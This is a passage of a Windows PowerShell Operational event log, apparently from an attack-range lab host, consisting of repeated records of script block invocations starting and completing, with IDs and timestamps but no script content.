Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036189
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036187
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036186
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036169
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036163
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
